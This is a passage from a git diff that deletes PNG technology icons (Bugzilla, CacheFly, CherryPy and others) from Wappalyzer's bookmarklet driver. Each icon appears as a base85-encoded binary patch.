zWyed)Yn=2GBaVeF^pll6g=Hd%wD=D@B3e>~iOFP0**xw8qjhK^N^ljPlWfv9o^rLQ zEUbu{mWX&?5fqH{q~Az6HWudnI=RlQVJW0x;SlkPDtcWv(Tk-k_QQ zi}E1d$D{B>XG;NlC>=|$)j}AtaPE%4t?SU~kv|2Fjb9uMVHjt|BL}jtBb)ZbT-ro- zJ?}ta5O6}5hbOj2FqM^qUN%2%hIsvZd=+N5z;FVoRd~qw!W9?4eSGCZ8xib>foy8D z^bu`16nx}QnQ2CdSNmm{6Dp{~l%_@Ubl4~A%H7WOdF8W#N=o-I^-qe_cX~3VrO3le z2iJr8OX_R%nK7E%QAMp=6OkdcpZ*Yg_V~F$X?2MhA+c@DuUgW=)LAn#D-OdCDBa5O zQU}bm&E3bGm{3a%@odkWzfAnK&oezqbfD(yhZqU5 zwb6zj*=@%@SLZLux(Wq#+5Wm)%Gx=lb^dO}O5|QyN_yS)xgt{JvBhnF^Us?yXX5rN z)sUyN1M_Q67cWy*t+z7?_5{{RwTz1jc( diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png b/Wappalyzer/drivers/bookmarklet/images/icons/Bugzilla.png deleted file mode 100644 index 6bf988ce651caec65429a9ef94e81bfd2ffc447d..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 641 zcmV-{0)G98P)%DuYPsBBdd9+sX4-oBW8mQ-5b!{gEo=*B_?fnNI&C}!hm>(H{xPOE4 z0H!Y07w-_D?I7jzE-tsU-uIxdV@rdi4{;c@k@lubP@eUbtnMU?;Wz`<+`bR|c~-ri@9RiucLJoAXK)y9;Frf?|G^-u%WPu|g=Gme zL*l8OHJS)-2E7{#!wfOb#3%EqFes&WV-Z9KvB1{I-&-9n#O-B}C2Z+U%TeU*QDh`f zv1yiaF<(Dqf6#zQ1||nt5KuSHkLy6fc?M9X93&g(Df=cq#U$s!;bOqv$Ab7ng{7wz z?7MR$b{fY^w4)Hi&kaLjIjX!s3?yA(&y8prDhD^Hk${BzTgVccF|NNe9ITD96$w{y z$H|cR@zz+-({E^jf*MH$m=sWE8)stn=eXmYprxp z3V(%Bkeo28|9kB!z^0OR^K0Y+PH@V!Hf`#yyf5U#yPxp(?PT zw^fsfMGyrM1P}y~z@iUD5HOb7Qf;IFx7$r^UW9|^Pjd0m2O_}$3Nj)BvLK=eDzaC- z1YP5J)VdTPCX-meOIu45Plx7-MdQRHAri4DD@$G`-#y3Yb)zY=abduuaUN{G+jey|YNaP+|L^bx8y8wdo$%#3}ZY?B_fBq7TR za|?b-&K#nuWSG9LR}2pBpwd#B4lH_H;|W%PW8y zrcRmS(?(J_sNqdK%2Wd zI#(=TZf9kUqG9pEML-olfBg9P@gtDY*V_x!24vj6bqh%D+q+jqK@s5xpfRn@&9i6D ztgo%zzi&T~1WE__`)}Q{W$&InEltfpSK*6kl9L9tHISOT0dWB0!&8g17ytkO07*qo IM6N<$f^==6p#T5? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png b/Wappalyzer/drivers/bookmarklet/images/icons/BuySellAds.png deleted file mode 100644 index 4f22871b292835c5787b017b50b66eb4dfdd9e48..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 370 zcmV-&0ge8NP)v3`S_xJet`1$$y z?sawVcX$2${r>*`?}UWzwf}Vh0004WQchCVYlO;> zTU9Myy6A0;$Aq#hMSEPxfXRfbA)^bJ3P92_;Y<)d7a5``6b90X%ep9zdY@Cs^IWWR zYB}f7DTENREC6h&a9XF}jdZe)EK^M)Gw)YX*bvzLE!gSdfTZ&;AFIVk-UqM}nq(WM QX8-^I07*qoM6N<$f{U=jq5uE@ diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/C++.png b/Wappalyzer/drivers/bookmarklet/images/icons/C++.png deleted file mode 100644 index bfb1f9856c161bbc8d825a3a4b5e2fd280a115a6..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 743 zcmV?P)-S=jGjk3Tflku~V5(|@rA{!~Bgl0J#@@KD*$bzv!mSQKCCJRL&l9cSG z#=r5m*@&#nSWWnx>AX7by!+m7{N7I%bL-o=@7?pxIrrZ4@6~Fv<3Aq}a3Jvz>ss4J ztcuD;W=y5SDz2w#y2d%zAII@Q=mD^ocdJ?J@C>e0`Fs?f18-6ID-W!_0)z1ORAt1J z@+3*NqTs8i>?8CUc*^`WbkeMU=bMcx!?mOwVLQB?UgNmevD9UFQ?MLEj(~S+;32d2 zR}Lqm7hw}d`9L5l?5M+c(-@GH@E7j>x;gUWW=Dx9C{oznE|`hJys;$PJ<3PTU4{fY zb9zw$uWQOE6z?;;KU;E~3*mbpG{*=}th*0gSsEoUUN(2XJ;$Tv<4&D7Fmg<&K6e`7 zvE~Q)whrGXb>fWAg$%f($|reT;lQsA+Ks!$9$95UdpxdPv5dtArR^{qA}{=LqV zc1z;Dpd}lY%xFq+<$a-M*R&6XyR~8pc4@tc+R>EGv@K8Dp*-|sl9~?5)!O`HGCTg+ Z_zlsxkTqS(vS$DQ002ovPDHLkV1i5eZe9QY diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CFML.png b/Wappalyzer/drivers/bookmarklet/images/icons/CFML.png deleted file mode 100644 index b8424fb737be997d02e558261b7246053bbd26e3..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 310 zcmV-60m=S}P)G}Wc z_WI}c|LFAk;r0LJ^ZMfP{o(QY-0}R_>-y5->cG<5p0>o7ufB?-vVNMWbB&xOStv(XCr4Q*MpY?9R4PDFTPXfp0001yNklNtq*Ks}@$vvai0o}*=w z`|tI#$My0lisgOpjo06~c9|((_pkFQU)6!aJg#p7Ng_UTjjigi>{RF+kDe>Di4uM6 z=Pf{lV)jq%ahOpZqCy+nGG~4dO^LO&Tv)|W9!~%?TLM6C|3+*^8)tjb3jhEB07*qo IM6N<$f+Nog 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png b/Wappalyzer/drivers/bookmarklet/images/icons/CO2Stats.png deleted file mode 100644 index 47689c3be86c32a880ebb3acfe9820705e24c2fe..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 642 zcmV-|0)737P)Nkl*M+tNZ zV|CS_N{}z*N#{~z3Tc$pm8udL#0uKT_MNFU&_*%yYnqZOqI7_Wu9OkPD#R$PHLPV< zDduUz7q>ChTYXqWD+a1tGFlCGRBYTx#VrA6z5A|{B%r!oY zzoW6fk)G3635CMUtWD!bd~Df}$|uP+wbmGfrdB6;JN$;>xgq*Kzu?gRqddL&+}ju5 zPuTNlsH?}1`rPX3<;vOXwR1neKI@*mf8>@n=H26ghi*N$<^Yyb^KNW$*v%z>y78qE cx7*VF2DYt(Vu@sHnA3$y+rQw>nvFjf&cuoV+y~h_bh4 z7jLaD-rCZ#wWnvVq2XR9r@c{8dy}*GW*6@*F5U|ioHFH@m)EhNpkq-%$BK)ORks|Q z(sK+bIAzYUIdhIJU3$*R@|=^?xt=NK=1e&UcILf@B1$6PU^PVYbo{pZIn}9)mN*oYqvvnj9yu!mEPPxIWf`AOHjb>dBaw< yr_4He40`p=95;`+FUy_qGCIYt;JFs|FiJ_!t?*f^#98A|IGFO&G!G#_5a%V|1H)3LfQWU%l|Oe|8C*` z-ueIG`Tynm|LFVw>H7cq{{Q>`|A6NI;m;e^00001bW%=J06^y0W&i*HWl2OqRCr!} z&qWTvFc1U4I4LtTGyMO5y`|erecO>%mKhVD$XkX0*Oft~;ABf4O5kn>B;>`v0FA%U zA3&@VNP&X37#mKTf(A5#z_bG%g&K&)7t9LlEVzWAE$`13OI7~nvIiOg1`gK`;TQk_ N002ovPDHLkV1kR7rNaOK diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png b/Wappalyzer/drivers/bookmarklet/images/icons/CacheFly.png deleted file mode 100644 index 5b8a060ed991baf874ab64df5b9e2aa98e1c686a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 348 zcmV-i0i*tjP)E{ zi}48Agv9;wauXRh^KyCF9hgdur8Z=^0{EHn)l%`fWND(kYS({Q7s-sNU=H*3 zXW<}9LPOPM72#MfVsB)9>1xn z>gG~7y9DNr5_J`W4nr=ed_1{vokRIh2E%S{PNiZ`(qINWgsM02bq-S7-OYhS!K-?f zCke2pPphq89Yh^G+gw;z(-MUJ2DUni&H@V*LkB86egkj&mj&rzbCR|K7+izR=TJRO u8aL<=1#QUYhDJmFh#@4jd&F`7H^diIwSwYehNBq(0000g3uPwsijRj)RvaE(+9LO00mkE z+9)6pMIum5jYXa!w4FXj)D0mljx)2Usc3?6agxd8-rsk>bMBW1;Mo5t@An^l{x|3D zs%Tw{VPLvJOULRp?l}KFSEqLC9p2f3zXG&Q|JnO$S9ok{{$OSOGm?ooQptpYk6e@1*LM_Q&>O^JjcTOFybtWZ(lQbNHX8EfYPR};O5qL&gp^@ zaTX?e3~H?oD(zF$$y6w;Qb1wqL%Gb%WdW6hQ-8DBg!$kHaG4b1e4{u8KXN1zMNtg_ zLe&AQ#f%;Y1x<$@mnCE%3urYCJ$d`?BOHS-(A+_z(>;#f(HR707BKO82^Ehh6j#Yn zQqziS)vYLzv_YbBX|jNs#ZPB$NxQ^TGrVETs~h0cfP3U6T)rvvj7*D77PA>nn-y29 zT43s*EYFFto$~HWNg8&3ilxx9XqI5Cpip=XWwmW6s+6O!LXL}NQtZUJ<2iuh2ZmUL zzjG+Og8uPYkj@cEbqs$c2GxWeGKB`+b_zDiilW-~{X>gXqjb93t;1lRO^ey@a%nNH zAG;jhN=eKmY&$07*qoM6N<$g17EY^8f$< diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png b/Wappalyzer/drivers/bookmarklet/images/icons/Canon HTTP Server.png deleted file mode 100755 index 1f55e03b3638a592ec8f5f049d7cf36b57e0ffe5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 678 zcmV;X0$KfuP)oI;_J;P2NFKg<#bNm>OPoCn|j=g+pISRk0fCT`o<E^wuZh#sejZOj@j!$!3gsf5 zPK41|k{k6~Kon~p;q}I?6sm0AIvH|ynu$ZrxQhY?41%gs1iqhb=T)SZq03h(FS-~3 z%lBOdqEQNVhS5lxY;6i&bcdA>-~pxiS^CpE;oCGAR^BWrmB`1EWaAk|>;!o`jePis zh*Z49KxqlZ4^09lxLIbg$Uvly!9({-{GfTF1n;-QdpQhB}tv z1E^1VY9=6108g3A50Q&Fv_Sd%}qJlNF&Q(w@PK>|d4+(Ln= z=7aRDtzxh`&Tw^-=cyD=oA=PQZ$FPVZ-;AlK{QYz8W2=ANdPdi#Lpiy6z)A?oI;_J;P2NFKg<#bNm>OPoCn|j=g+pISRk0fCT`o<E^wuZh#sejZOj@j!$!3gsf5 zPK41|k{k6~Kon~p;q}I?6sm0AIvH|ynu$ZrxQhY?41%gs1iqhb=T)SZq03h(FS-~3 z%lBOdqEQNVhS5lxY;6i&bcdA>-~pxiS^CpE;oCGAR^BWrmB`1EWaAk|>;!o`jePis zh*Z49KxqlZ4^09lxLIbg$Uvly!9({-{GfTF1n;-QdpQhB}tv z1E^1VY9=6108g3A50Q&Fv_Sd%}qJlNF&Q(w@PK>|d4+(Ln= z=7aRDtzxh`&Tw^-=cyD=oA=PQZ$FPVZ-;AlK{QYz8W2=ANdPdi#Lpiy6z)A?kdg0006SNkl zZD`G57zf}>Lqd_*i%k`YMCgE|6(OeaQBul;D3vluDHf?Hg-SXi(xf7bh?Kx85EVdE zSc=CXg z08pTdc`c0c7s(1e+Epv0op)2MGu8pBq>(SJF93v)*AA%BqDg~BpM`7Sk+4_@rJVzV z73-~=JSFOdNeK{|Ez+xV000gM6$x;v{dDKRUSW9x4F7##suk9$wAPIufDyk791%Z_ z96(0s2>>V-n$0xKP$iD$23`s&06?j58NmMBK$URUctAfXj1gV|=6aqR7~pA}{TAc3 z5bA``D6GKaUjr0c=(H!EdFYaT3NgqbFFbSHY$<8eu+_m|eYFq5U!_s#_Ah`k=bSa; zPl0k_wUs`#0(s`Dw8I7?0Sr`On<~o{0j4VhgH3SBF>taK_$Fk06+#)9E`+a1tsLAF zHYI&C+(LJ?t-xceOf}JNS=TXI2&<%|EEB>++?EyUZ8y(K;lAhYwgLbHWHexxuo=K= z;V^CsO8|thpzSU6k zTy6khmaGR@FVq027It2R3?3J1A1x_>TI&nQ{j`|9RpXB*A~JnOXY!rAKGfQ hl4RvaV*q>+@Et<|J%_b-j@bYJ002ovPDHLkV1h9O|4aY? diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png b/Wappalyzer/drivers/bookmarklet/images/icons/Cargo.png deleted file mode 100644 index b6512fa498d2243ae5079bebc4bf29cd7bf45b33..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 147 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!60wlNoGJgf6qC8z3Ln;`j9th-ZF%V%nF!95Z z5HHmSD}*LAh^Qzm6#Dj0e+%d1-IsD>clAEpSlE%ca^|8)jbNXrp*vk&T;}|nqokyi w_cU~7k`}kG&)G`??Y+l0T#Vhe>(gC+%`T^#A|> diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png b/Wappalyzer/drivers/bookmarklet/images/icons/Catwalk.png deleted file mode 100755 index 1f55e03b3638a592ec8f5f049d7cf36b57e0ffe5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 678 zcmV;X0$KfuP)oI;_J;P2NFKg<#bNm>OPoCn|j=g+pISRk0fCT`o<E^wuZh#sejZOj@j!$!3gsf5 zPK41|k{k6~Kon~p;q}I?6sm0AIvH|ynu$ZrxQhY?41%gs1iqhb=T)SZq03h(FS-~3 z%lBOdqEQNVhS5lxY;6i&bcdA>-~pxiS^CpE;oCGAR^BWrmB`1EWaAk|>;!o`jePis zh*Z49KxqlZ4^09lxLIbg$Uvly!9({-{GfTF1n;-QdpQhB}tv z1E^1VY9=6108g3A50Q&Fv_Sd%}qJlNF&Q(w@PK>|d4+(Ln= z=7aRDtzxh`&Tw^-=cyD=oA=PQZ$FPVZ-;AlK{QYz8W2=ANdPdi#Lpiy6z)A?Xk;11O*fD59SRM_>>j1rShyl}?1f6csA0K5Dtt#w5~Iy)C2ERNL5Q zWtiJ(Gio+n$ygIsTRK&`dE1?vch}aQa{gqK3LkiWd|vNwytA_YqEsSIr4llgwH2i# zo)U&nBR-aoHPAl;iKIk@<319Od5M$|2pjAH|GpT!y$r0=23Zivk|#u1-vUX>iA*3b z&XFc(Hio~H;F&iU&CZ?h`>NqJ(9muxMc>J0Sn@le+g=7f#F0$_qk*d!pVQ!Nuo^8B z3Iu$&@wrnEU3NLfs;#hHGh(Q?2a#Yn6R_5HpXWHNGw1Mb?hYKmo0#ztcspn?H!QGM znqWNBj_wopAjhSR0Ddt_O`4vgWlDjzDJ6{FQ*g}IU^!&Ol4A(N75(VVy^qEn6=@sk zF|e$#z6WVVr065HuoURwdSXud!($UXy$*;!B2=7QSUNK%H;Epw$hhYnoYIaxkKQ5Zs6woc$7_OcAu2r+Cmj!fY5L z;9F#rdn&MR?-l5DL%3dPgv~jCZ-F+*lbYYI2iL6x*R>1t0Y8(m#4sxmt@b4v8eX8L z#tfB81AT7?f}ScwO-CVq)IxG=A-e03ls36SXdyxl?5~8T){2~*dhAw|qjP{pzLwlhDR$MxJo~4rBVV?7D-kL1yqm(85%}eStbE0gc%Zj3XxO_K*I=% z5-dfSRfbq4Raq2fWLY%}i^#0p?GHSIA+~@v1lWP!WqR*>&w0-oyPIK}=Cr8{3jzfM z3YgL`mK@3d+qoEIAptJzhZC8244;Gz6C)WlScVUHrPpQ1z#WA6YXs%Ei%-bIG2GU< z0SqD-gzr0W3VX0oJ3NXwb>RjY;X;N#-h}x|o`K~!hgQTQ0xK{VVd(UA2P~*VC03#o zOVJC@_z0he4TmwRHn(GqlK*dPg^Bb3Dqx@HTYwknfVZ%#;Bk0HFvei&UZ?f{S*X`* zD?;(rvw#TntB^`BiIX&{#c;s^tN#9hFw8_Nwx9)u*33Z^w!^@471?X!@Lf9!!Xqyq zN>8Lg*B8OAuDwGWexn$}s8)e9a9nw6b-z`(j|7WaW(C2;lSd=opc#4Cgo7Bu0qt@# zexX$3NR>DhUWObL=zdRe#=>E`=JZ9CO$-C+XwVL?YOxddkcncAaXn1fu}Bu61A};m z78UA1iiJZTQgosO-Xc;rjKWDJAJ<4O;yvuTb_DKlVYb%BU@vx}$HJis8*l-(N#2Mi zu44xV5Q}j1z`$G0H(H6DS{H&&ty!l|k0B9V_=$LHWO{O+J`3h!H|o{un{Y=H3bhM| z+MTLSEJPA6As5LA)A^S$k%rZ{jE9KUx?MIUNW%kktF7(YakUZ-;We@lu2I~=S+%nn zHEMA-w&|J*3~Ph)kgLso##*#_ejmuj6?LFVH_1T|Lh()Wu0@4E9>*<6Q{rnFMU}V< ztV6k99>l|#xPUQ?5~~8zvYII3L_<{)Bdt^`MFz0I zv{h(nB`n=6OBV&Er3gfllX#{qiek9Q&3w7P^Iz^ujrgteJ3*l2t4)^&FyYnkCL90j8ajjnl*FQ?3)^Q@Z zJs`6?m)pvjhpL6B8d?enN59!*RSvbYk}V1vy)8QaY}=Too+8YlPWA7cid4?2MGt8} z#rE+!dT})>xHFW=1>iIf(B=e>hXD2#^;>GZybk& z;v22MnW*e&w2PtHA%( z4`@?Y6vmU6KTYXhHaDrd)iM<|c5P$kU@+T?6tE0M1t}ODtg9=`0d!eY29vM?DbGy4|(%QrYe%$-+d+&VT zJMW&8#9&DCGak%Uc&r7T;3Q}R@AA6Q@PB;}+|1)gK-KXlC`;Kytj?e;wk8?yf(V!c zQ8w@pl&53>LS`P90T=iftk#>54AiqIiN|>!1e=#^00Jf+*MN&aWv&1tnWK>dn|Q2A zVBkKmFUf!ijIjt@XW#M2Ztme>Aw)gR1UMa1ssv-4GD4Dpxq7kkNn$JG1vp5!uQBdD)eA69R2UgHA z#%CIw;pFedCSc}K(Z3F^{mas8n1Hy8&KEX*pNF8^9gY4br>CRc>G5^F)zonW$2A)p zy7F=ERWJy8K{=Z+FX)<$Sa6%^#_5%!H{^g$YEIJ!Gb(A#?(Ql_u=7Ao!cU+Y1o?Ox zl(GqvEa(NtKrOJ#W?(`&b9Y0AIPR-2%%joi_U%KEDM>5>qD+LL^?P6x#Q69ZV4*Ak zBZ<3!%FKcR@FQpeRp8%Ev|rWc4!574>Iny=!0{v*h)UPU>t4=+l?iGORB09OKe&J} z5u@y!A6@-UQT@3$N7r`CS|LwpgA9|X#tkFNBdwMwwG!KDrlKnxOma_KInsDHT?0nmbTi;4 zsN{9iwHc;R;`vs4fdEZgej^~AcCkW9WV&0aWo-=MOZV;Kxxh`DnXEZjq>c<$kI>Ch}+cz zAR;DEM;L;HBCF2R0O^6*h5I!aYR2LpjoW`* zZhV)k?l8j{7T+GdD4R(qSD0bt^7*0c(8O52{4=EG=Q8gF{tRx~vuF zn0#t&5i{B#W`+ifK+OcSn2?=(0G#msscBBU^P1IHu8BA|nR)+8(Qm1Uv_cy#xxu*| zIO~+2S*J=ObaStm!Q3}r*{Ay_1Q2oV5U}U30+;rSs1u>=(n9|APXddLAV)d=!Ml2R z@1#phWf1uY7|*=degL->4{xmu>FcMDKKkqG^81aT1kK5V5<*U}fSQ5YjXX(8a`FqU ze>Nj&xdQMx@KitXb^p?1(?=gywIjh4)j$YJu7Nz{Mx8kw z_`@O6o|7b@q+u<4>E++nE?gXyX6yU~cz8478v&dJCfbEv?1@PdR?pAhIlp)RGi!^N zTH+dGo^9!CIEdY~bLWVZN^`(y*YSOs_ooJVkK2m)Sgm%CluGjj@n;7W-x9!Bt@Z#g z4Gec3KVNLI{|dlZt@Z>kTM(bjyg#tjP`Uxc$AQCz0)+jEP)_<%DVaH=ai^K;A4=Q7fcv z4@eOV>qkwwFKd-x3X<0fY}sxQH|v*xf~lTf!R>poIh9GtHNRXpy!Q^=keI12 zWUb=u)O~BG>x6clR`o2KYLqzdw}M@25{ga%1qT5Y=YnjlfTsDXUKPy>ju|u6y{qSG z2e+SGmWRw*U290{`;`W&SrB znf{;V=Jvl?U;keO1H%NI@g;AQ)T80wFj3v7=3`v-g8zGtoc~|bv*7=(UAz8+z}2f) z|Hs9}HG*xHH1PA4Gz>77HVL&-aVyHz3}~9kBdOuWBc_ta!_LGPZY9c~CMV305MaX~ zDJjWt=FAzeB|<_%;8e-N#L9V-S5l*mQ&7f-nT?Yj*(LvYpz{<+X zU~X>CaQ*sqhR2T|A4f~;KH6&DRqa|qZJTt$x^IHw8x)0w6%GHVH#h(9S5y0c_rit$ z`}XbozhcFTUm(lzrdw_?RZ(fvFc(F~tjw&ul4q@niT@^-m;dYS?R}}Qude`82LLI! V&8@1dEn@%x002ovPDHLkV1i4jHv9kp diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/CherryPy.png b/Wappalyzer/drivers/bookmarklet/images/icons/CherryPy.png deleted file mode 100755 index 75fa50094d3455d7aab3fcb885ee35387f14242c..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 301 zcmV+|0n+}7P)7Zm1Z)7J zL~F~Fb7ma~3)}1Id8WP|O%IBON9WES$<1jL7E0veTq7+7L>tA#F7)*w>p{`5MN4z7 zh%gYXl9Gg=wW6Y1b#!oQSkK3|Mo4Ifu<%9+iPd6a5VTf60H=m^JUpxU`L_uO0M#uJ z5?Uo90z^O&oEi?t#jWDx1R|hSE4jIs@bUuDCUte38eTqluwGPjIXnAuUS2r5zI-{p zczAjL{)zJPEd~Za@9qr zTWl0n7{|BUk{A&mY=lIV-AW`4X<8a@@j^|6h>-*%(V!+J)PN);<$(v~p+q|y3)?C& zt+Z&RfI%9hiul51XS%aHyVJejXJ@ubOdxWxKuj|;i!Jr|Khx<7F@#=r-+GdNzB7~b z{J#JBzHhb`%lw*O=2CLMTJPAeQgJflx!80-8BdN6Xbu6CbBGEVrh9X293KGF565it@ZeBRSa(uIkbu&<- zi{ls00-n3W`EY}*VaiSL zd>#8k&>9!ZmrXknIBuk_vss0tGudxrvE;UJB(^yiif$ErLqECQUI~YP1)aPb%Kt;7 zi^9!!*k58<{xq};T5?}F99IK;5v~cYTn7A1C>$H5u5r~9IP~Ll=eY)e-^AVtT{V(m zO)$&n5FL15JL3|hB)LM$DzCxyxnwFcf<|Le>k*$nfa~_&1n3~-2V~M6>z3iP8Sq!} zydHXFP7RorvPWV0echi0Yu*`!`^H6v+N}wNo|TQnc}d>rL@QN(Y=^ zyn=>Mf03YWDJre+@pg4d%&^E|{1YRl0 z2MF~ZfO8kFodL)gE9f-#f0#ADida*!FQ8ux^m_&WD4fU7y9QeTq}_bc9H~*v_WF{3 zg3)Yy01^Sd45`?61G*bA4IRMMSCljXKzBnw1NOU70*=oBs$%Rq@my{x^#X7MfC{3A zW!(dSrVz&wze9YWn5_JfcbDo1*KOB3Up}JkfA&MY<*^D2Ko7(1VI*(^@hqNc5?AoN zYu2Few-~=K`Th?U-#XsZmOs{bA%FNCqJQ%S(YqRm)=@{a&z_2^dlpwt-NJKl>!&{^ zfQRwHX~DbYb8)Npy=|0FKl=Vd`M!+@@)X{=nrQ8{W2)mxqP8x(rnN3>GW&qH0=yFm zL=aVT9M{e%f$lX6jCkm+O1*onpnv%y(e|z+Dr1`foM^4KTN+~*XbFriM;|;6^_t!P zCz9DQYk22sH8AIy1~5&zuJI&m7m^+RnM63vX8ru*diWJ$}k$Lr$nYnDtVhAwDefV=Kh*o?QlOo7+a;=fwDnQufhVM z;UVK)+xzEId6#d4?){BfqDx_c(D0CT{2kh6cCFy{6`vpV#u(9#_yVEfA?rAR|2>iG zhf<|7M6@I)tL(#7X(7X cF7)I0p6DURcT_}}0L=k2YBRU0jlK4XtrzS3LGicnB{nIf0P8_dX7%p+TofE=YSu-BS5ec+ytnvh)?5y9o*P(Kgf zJ2dr7Al3xnB~cO7ULqhy`v(o8EXd#5l{b~N*NdPcxMBqRmRZH1T;?AWn7GULwav;p zICfVz11QOyyRm6$(sxh&X=E#uf?%}$(WmETXAykCW@J;uGgk`8RoRqs9-}`g2Z0?b zHaoQYo7Pdtc+t4Qx=bBXIUo>5?-m3hHxt@h!D^8>?L5$~o6tJ8>MAXVE;Kpt zuG+5%?T)fAV&~VSwVu&lq2*9tP7{35=O8$l_F?YYy6QRCTyyv+9#aEEG;^EK#_t+x0xQrnmt z?8*Tc|3Zm;*l9Qgn)!z7Xzu~(snyO}+7mK=!3DR?8$E{)?Wl}r 